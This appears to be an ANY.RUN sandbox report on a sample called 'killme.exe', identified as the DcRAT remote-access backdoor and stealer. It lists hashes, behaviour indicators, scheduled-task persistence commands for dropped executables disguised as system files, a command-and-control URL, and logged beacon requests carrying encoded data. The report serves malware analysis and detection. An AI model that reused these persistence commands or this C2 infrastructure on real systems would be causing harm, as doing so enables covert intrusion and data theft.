File name:

killme.exe

Full analysis: https://app.any.run/tasks/c3b109a5-f77c-43e7-9175-fbdb1b9d02ed
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: February 04, 2024, 21:54:36
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
backdoor
dcrat
remote
stealer
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

2418ADEC64F6FB4773A7CA17334E0CEA

SHA1:

18799F2AFC98D8C8ACF4D42C79C24D1E4C188C99

SHA256:

EE3E8DD4413A12E94C123352F5A86E9F242034E97DA7D2220A3E13717BEA9573

SSDEEP:

98304:ZFrKdQH2wExUSweoviQ/F+mrpV0yLm5UZ9aXBHbJDCL8xTHRX46wxbZSS:Z3J

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • killme.exe (PID: 2088)
      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 668)
      • wscript.exe (PID: 3072)
      • wscript.exe (PID: 1644)

    • DCRAT has been detected (SURICATA)

      • spoolsv.exe (PID: 2440)

    • Actions looks like stealing of personal data

      • spoolsv.exe (PID: 2440)

    • DCRAT has been detected (YARA)

      • spoolsv.exe (PID: 2440)

    • Connects to the CnC server

      • spoolsv.exe (PID: 2440)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • killme.exe (PID: 2088)
      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)

    • Executed via WMI

      • schtasks.exe (PID: 3452)
      • schtasks.exe (PID: 3584)
      • schtasks.exe (PID: 3600)
      • schtasks.exe (PID: 3572)
      • schtasks.exe (PID: 3372)
      • schtasks.exe (PID: 3056)
      • schtasks.exe (PID: 3420)
      • schtasks.exe (PID: 3624)
      • schtasks.exe (PID: 3644)
      • schtasks.exe (PID: 3820)
      • schtasks.exe (PID: 3844)
      • schtasks.exe (PID: 3816)
      • schtasks.exe (PID: 4016)
      • schtasks.exe (PID: 3756)
      • schtasks.exe (PID: 3860)
      • schtasks.exe (PID: 3896)
      • schtasks.exe (PID: 4032)
      • schtasks.exe (PID: 1220)
      • schtasks.exe (PID: 3868)
      • schtasks.exe (PID: 2532)
      • schtasks.exe (PID: 1192)
      • schtasks.exe (PID: 3832)
      • schtasks.exe (PID: 3448)
      • schtasks.exe (PID: 3240)
      • schtasks.exe (PID: 2160)
      • schtasks.exe (PID: 4012)
      • schtasks.exe (PID: 292)
      • schtasks.exe (PID: 1196)
      • schtasks.exe (PID: 3972)
      • schtasks.exe (PID: 3408)
      • schtasks.exe (PID: 2932)
      • schtasks.exe (PID: 3080)
      • schtasks.exe (PID: 3008)
      • schtasks.exe (PID: 3536)
      • schtasks.exe (PID: 3864)
      • schtasks.exe (PID: 2920)
      • schtasks.exe (PID: 3736)
      • schtasks.exe (PID: 3708)
      • schtasks.exe (PID: 2964)
      • schtasks.exe (PID: 3464)
      • schtasks.exe (PID: 2036)
      • schtasks.exe (PID: 3956)
      • schtasks.exe (PID: 2328)
      • schtasks.exe (PID: 2636)
      • schtasks.exe (PID: 3304)
      • schtasks.exe (PID: 3500)
      • schtasks.exe (PID: 2580)
      • schtasks.exe (PID: 2232)
      • schtasks.exe (PID: 2572)
      • schtasks.exe (PID: 3228)
      • schtasks.exe (PID: 2340)

    • Reads the Internet Settings

      • killme.exe (PID: 2088)
      • wscript.exe (PID: 668)
      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 668)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 668)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 668)

    • The process creates files with name similar to system file names

      • BlockRuntime.exe (PID: 1028)

    • Starts itself from another location

      • BlockRuntime.exe (PID: 1028)

    • The process executes VB scripts

      • spoolsv.exe (PID: 2440)

    • Creates FileSystem object to access computer's file system (SCRIPT)

      • wscript.exe (PID: 1644)
      • wscript.exe (PID: 3072)

    • Uses WMI to retrieve WMI-managed resources (SCRIPT)

      • wscript.exe (PID: 1644)

    • Checks whether a specific file exists (SCRIPT)

      • wscript.exe (PID: 3072)

    • Executes WMI query (SCRIPT)

      • wscript.exe (PID: 1644)

    • The process executes via Task Scheduler

      • explorer.exe (PID: 2380)
      • dwm.exe (PID: 3588)
      • smss.exe (PID: 3752)

  • INFO

    • Checks supported languages

      • killme.exe (PID: 2088)
      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)
      • explorer.exe (PID: 2380)
      • smss.exe (PID: 3752)
      • dwm.exe (PID: 3588)

    • Reads the computer name

      • killme.exe (PID: 2088)
      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)
      • explorer.exe (PID: 2380)
      • smss.exe (PID: 3752)
      • dwm.exe (PID: 3588)

    • Reads Environment values

      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)
      • explorer.exe (PID: 2380)
      • smss.exe (PID: 3752)
      • dwm.exe (PID: 3588)

    • Creates files in the program directory

      • BlockRuntime.exe (PID: 1028)

    • Reads product name

      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)
      • explorer.exe (PID: 2380)
      • smss.exe (PID: 3752)
      • dwm.exe (PID: 3588)

    • Reads the machine GUID from the registry

      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)
      • explorer.exe (PID: 2380)
      • smss.exe (PID: 3752)
      • dwm.exe (PID: 3588)

    • Create files in a temporary directory

      • BlockRuntime.exe (PID: 1028)
      • spoolsv.exe (PID: 2440)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

DcRat

(PID) Process(2440) spoolsv.exe
C2 (1)http://a0916433.xsph.ru/@=MWY4gjN3YTM
Options
MutexDCR_MUTEX-bKpdfgFCYywtfMLcyVUf
Targetals
No Malware configuration.

TRiD

.exe | Win32 Executable (generic) (52.9)
.exe | Generic Win/DOS Executable (23.5)
.exe | DOS Executable Generic (23.5)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2020:12:01 19:00:55+01:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14
CodeSize: 201216
InitializedDataSize: 114176
UninitializedDataSize: -
EntryPoint: 0x1ec40
OSVersion: 5.1
ImageVersion: -
SubsystemVersion: 5.1
Subsystem: Windows GUI
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
103
Monitored processes
62
Malicious processes
7
Suspicious processes
3

Behavior graph

Click at the process to see the details
start killme.exe wscript.exe no specs cmd.exe no specs blockruntime.exe schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs #DCRAT spoolsv.exe wscript.exe no specs wscript.exe no specs explorer.exe no specs dwm.exe no specs smss.exe no specs killme.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
292schtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 7 /tr "'C:\Windows\tracing\PowerTracker\ctfmon.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
668"C:\Windows\System32\WScript.exe" "C:\ComponentInto\YivvWAxakNEliEHH3Chl.vbe" C:\Windows\System32\wscript.exe—killme.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
1028"C:\ComponentInto\BlockRuntime.exe"C:\ComponentInto\BlockRuntime.exe
cmd.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Version:
5.15.2.0
Modules
Images
c:\componentinto\blockruntime.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
1192schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 10 /tr "'C:\MSOCache\All Users\dwm.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1196schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\MSOCache\All Users\dwm.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1220schtasks.exe /create /tn "smsss" /sc MINUTE /mo 5 /tr "'C:\Program Files\FileZilla FTP Client\locales\gl_ES\smss.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1504"C:\Users\admin\AppData\Local\Temp\killme.exe" C:\Users\admin\AppData\Local\Temp\killme.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
Modules
Images
c:\users\admin\appdata\local\temp\killme.exe
c:\windows\system32\ntdll.dll
1644"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\e4484f85-ccfa-4582-a2cb-d81e44f8c8c7.vbs" C:\Windows\System32\wscript.exe—spoolsv.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2036schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 8 /tr "'C:\ComponentInto\spoolsv.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
2088"C:\Users\admin\AppData\Local\Temp\killme.exe" C:\Users\admin\AppData\Local\Temp\killme.exe
explorer.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\killme.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24542_none_5c0717c7a00ddc6d\gdiplus.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
5 850
Read events
5 761
Write events
89
Delete events
0

Modification events

(PID) Process:(2088) killme.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2088) killme.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2088) killme.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2088) killme.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(668) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(668) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(668) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(668) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(1028) BlockRuntime.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(1028) BlockRuntime.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
Executable files
18
Suspicious files
1
Text files
20
Unknown types
0

Dropped files

PID
Process
Filename
Type
2088killme.exeC:\ComponentInto\YivvWAxakNEliEHH3Chl.vbebinary
MD5:CFF23C6E94F975EA783D5C213AFF20B5
SHA256:470667FB84FA164A2BFA2252C55CAD2ADB743419783CB1BA95243A7E5D3784C1
2088killme.exeC:\ComponentInto\BlockRuntime.exeexecutable
MD5:0275329A4428D706ABD70B8E2316AA31
SHA256:F10E2AE9D117D56FFBDBED9023D421ECE5D404FFB85542126BA46940230E8F92
1028BlockRuntime.exeC:\ComponentInto\spoolsv.exeexecutable
MD5:0275329A4428D706ABD70B8E2316AA31
SHA256:F10E2AE9D117D56FFBDBED9023D421ECE5D404FFB85542126BA46940230E8F92
1028BlockRuntime.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\csrss.exeexecutable
MD5:0275329A4428D706ABD70B8E2316AA31
SHA256:F10E2AE9D117D56FFBDBED9023D421ECE5D404FFB85542126BA46940230E8F92
1028BlockRuntime.exeC:\Windows\twain_32\services.exeexecutable
MD5:0275329A4428D706ABD70B8E2316AA31
SHA256:F10E2AE9D117D56FFBDBED9023D421ECE5D404FFB85542126BA46940230E8F92
1028BlockRuntime.exeC:\Windows\twain_32\c5b4cb5e9653cctext
MD5:D26CD65C016349346BD1CD3AF990BF01
SHA256:F741673152B835AD9A71821E8131F1288021B88593C4F1A4F2BA68CA55FAB40B
2088killme.exeC:\ComponentInto\fKvreLYM2iz56SdUSiGtLt1hjDL1.battext
MD5:F635875C9CDF4DD6B27224C42D350674
SHA256:18D77343ECFE4533D06349844F6069B9A226A40BB2CC1894F1FA5BD4C4FA2838
1028BlockRuntime.exeC:\Windows\Setup\State\wininit.exeexecutable
MD5:0275329A4428D706ABD70B8E2316AA31
SHA256:F10E2AE9D117D56FFBDBED9023D421ECE5D404FFB85542126BA46940230E8F92
1028BlockRuntime.exeC:\Windows\Cursors\cmd.exeexecutable
MD5:0275329A4428D706ABD70B8E2316AA31
SHA256:F10E2AE9D117D56FFBDBED9023D421ECE5D404FFB85542126BA46940230E8F92
1028BlockRuntime.exeC:\MSOCache\All Users\dwm.exeexecutable
MD5:0275329A4428D706ABD70B8E2316AA31
SHA256:F10E2AE9D117D56FFBDBED9023D421ECE5D404FFB85542126BA46940230E8F92
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
480
TCP/UDP connections
10
DNS requests
1
Threats
86

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&4ece83265ab76456ee6b0b2fa2a12baf=0VfiIiOiQGMxUWNjFGN1MjZ2IWNxQjZhRmMmJTNwQjY3MDNyMTMiwiI1cTN0UmY5YzY3EGZxUWZzIWOzgDO1gDZ1EjY3UjN5EmY1UDNiFDOkJiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W
unknown
text
2.09 Kb
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&56541ae5ae0368bf133b99c77de7514f=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
unknown
text
2.09 Kb
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&ae92ade0c9d83e6854d5730c4f752f34=d1nI0IDM3YTOllTOkdTNiZWZ4cDNyYWY4I2YyEGMiRzY5ETZxUWYmZDZ4IiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W&4ece83265ab76456ee6b0b2fa2a12baf=0VfiIiOiQGMxUWNjFGN1MjZ2IWNxQjZhRmMmJTNwQjY3MDNyMTMiwiI0IDM3YTOllTOkdTNiZWZ4cDNyYWY4I2YyEGMiRzY5ETZxUWYmZDZ4IiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMisHL9JCMYZWanpXT2ElaNZTQE1UavpWStpleONTUE9EbGRlTzUleNJTTy0UNVRlWpJVbZhXUq5ENRJjT0UkMOtmRtlFaKdVWsp1RapXSDxUaVlWT5lUaPl2aE1EeZR1TppEVNtmRt50MjpWT4tGROhXUE5EbSpnT00keNpXQq5UbOJTT3FFRNNTSU1UbCpWSzl0UKdXSp9UaR1mT0k1RNlmWU1UaGdVW4V1VNVTVqllaWdlT5V1RPdXQU1kMVpnTqZ1RNhmUUlVNJ1WWtplaJNXSTpUMJl2TpFEVOBTRq5kMRpmT4tGRaBTTE1UaaJTTyk1RORTVE90aspXW4l1ROdXRXlVbaRlWxkFRPFTTql0cJl3Y0J0UPlXSp9UanR0TxkUbalXU61UaOdlW4NmaZpXSEp1aaRVWqJ1VNJTVHp1MVdkWtpkMZJTVH10MZdkTpJVbJdDcqlEaShVWFJFSlxmSDxUMvpWSwY1MixWMXFWVChlWshnMVl2dplEbahVYw40VRl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSpNGbkdVW1Z0VUdGMXlVekJjY5JEbJZTS5RmdS1mYwRmRWRkRrl0cJlGVp9maJRnRykVaWJjV6xWbJNXSTdVavpWSsVjMi9mQzIWeOdVYO5EWhl2dplEcNRUSuVzVhdnQYpFMOZUSwUERJNnVHpldxUUSyE0UlNHbXJGaaVUSwkFRl9WQpVWSkVUTzQTaNdWQFlkVCFTUnFERNBTWUxUMrdUSwBTRW9WVtNmdOVUSwlkRLNnVHRWdstWS2k0UaRnRtRlVCFTUpdXaJBXRww0ToNUS5Z1RkdnRHplQCl3Yqx2RhdnRtNGSCNVUIplRJtmSYl1a1cVWw4EbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjd